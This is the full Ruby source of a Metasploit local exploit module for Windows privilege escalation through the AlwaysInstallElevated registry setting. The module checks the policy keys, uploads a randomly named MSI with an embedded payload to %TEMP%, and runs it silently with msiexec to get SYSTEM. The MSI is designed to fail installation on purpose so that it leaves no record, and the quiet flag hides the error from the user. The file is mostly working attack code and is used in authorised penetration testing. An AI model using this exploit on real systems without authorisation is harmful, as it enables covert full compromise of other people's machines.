##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Windows::Registry


  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'Windows AlwaysInstallElevated MSI',
      'Description'    => %q{
          This module checks the AlwaysInstallElevated registry keys which dictates if
        .MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM).
        The generated .MSI file has an embedded executable which is extracted and run
        by the installer. After execution the .MSI file intentionally fails installation
        (by calling some invalid VBS) to prevent it being registered on the system.
        By running this with the /quiet argument the error will not be seen by the user.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Ben Campbell',
          'Parvez Anwar' # discovery?/inspiration
        ],
      'Arch'          => [ ARCH_X86, ARCH_X64 ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 10,
          'EXITFUNC' => 'process',
          'MSI::UAC' => true
        },
      'Targets'       =>
        [
          [ 'Windows', { } ],
        ],
      'References'    =>
        [
          [ 'URL', 'http://www.greyhathacker.net/?p=185' ],
          [ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],
          [ 'URL', 'http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html']
        ],
      'DisclosureDate'=> '2010-03-18',
      'DefaultTarget' => 0
    }))

    register_advanced_options([
      OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),
      OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])
    ])
  end

  def check
    install_elevated = "AlwaysInstallElevated"
    installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
    hkcu = "HKEY_CURRENT_USER\\#{installer}"
    hklm = "HKEY_LOCAL_MACHINE\\#{installer}"

    local_machine_value = registry_getvaldata(hklm,install_elevated)

    if local_machine_value.nil?
      vprint_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
      return Msf::Exploit::CheckCode::Safe
    elsif local_machine_value == 0
      vprint_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
      return Msf::Exploit::CheckCode::Safe
    else
      vprint_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
      current_user_value = registry_getvaldata(hkcu,install_elevated)
    end

    if current_user_value.nil?
      vprint_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
      return Msf::Exploit::CheckCode::Safe
    elsif current_user_value == 0
      vprint_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
      return Msf::Exploit::CheckCode::Safe
    else
      vprint_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
      return Msf::Exploit::CheckCode::Vulnerable
    end
  end

  def exploit

    return unless check == Msf::Exploit::CheckCode::Vulnerable

    msi_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
    msi_source = generate_payload_msi

    # Upload MSI
    msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip
    print_status("Uploading the MSI to #{msi_destination} ...")

    write_file(msi_destination, msi_source)
    register_file_for_cleanup(msi_destination)

    if datastore['LOG_FILE'].nil?
      logging = ""
    else
      logging = "/l* #{datastore['LOG_FILE']} "
    end

    if datastore['QUIET']
      quiet = "/quiet "
    else
      quiet = ""
    end

    cmd = "msiexec.exe #{logging}#{quiet}/package #{msi_destination}"

    print_status("Executing MSI...")
    vprint_status("Executing: #{cmd}")
    begin
      result = cmd_exec(cmd)
    rescue Rex::TimeoutError
      vprint_status("Execution timed out.")
    end
    vprint_status("MSI command-line feedback: #{result}")
  end
end
